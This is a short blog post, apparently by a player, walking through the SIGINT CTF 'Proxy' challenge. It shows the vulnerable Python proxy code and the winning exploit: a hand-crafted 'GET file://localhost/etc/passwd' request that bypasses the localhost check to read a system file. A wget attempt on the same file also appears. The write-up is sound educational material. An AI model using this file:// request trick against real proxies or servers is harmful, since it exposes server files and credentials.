Sunday, July 7, 2013

SIGINT CTF: Proxy

This challenge presented a proxy server that had some strange restrictions on it. Below is the very short server file.
#!/usr/bin/env python

import SocketServer
import SimpleHTTPServer
import urllib2
import logging
from urlparse import urlparse


logging.basicConfig(level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s')


class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        parsed_url = urlparse(self.path)
        logging.info(parsed_url)
        if parsed_url.netloc == "localhost":
            self.copyfile(urllib2.urlopen(self.path), self.wfile)


SocketServer.TCPServer.allow_reuse_address = True
httpd = SocketServer.ForkingTCPServer(('0.0.0.0', 8080), Proxy)
urlparse will take the various parts of a URI put them into sever fields of an object. The netloc field is the main location of a URI. For example, in the URI http://facebook.com/index.php, netloc == facebook.com. What's tricky here is that urlparse will not recognize a netloc unless it is preceded by a double slash (//). I fooled around for a while with doing things like
wget http://localhost//localhost/etc/passwd
With this URL, self.path == //localhost/etc/passwd and urlparse correctly gave netloc == localhost. But when it tried to do a urlopen on the self.path, the entire thing blew up. Only after a long time of thinking did I realize that everything was being preceded by a / because that is how most everything works in an HTTP request. The request looks like
GET / HTTP/1.1
So then I decided to form my own HTTP request and do it differently, which worked! Below is the winning script.
'''
proxy exploit - suntzu_II

nexpect is a tool a friend and I wrote that uses regular expression matching to perform expect functions over sockets. I use it here to create a GET request. Check it out here.
'''
import nexpect

n = nexpect.spawn(('188.40.147.125',8080))
n.sendline('GET file://localhost/etc/passwd HTTP/1.1') # Note the lack of a preceding '/'
n.sendline()
n.sendline()
n.interact()
The flag was SIGINT_a64428fe231bcdcabbea.

- suntzu_II

No comments:

Post a Comment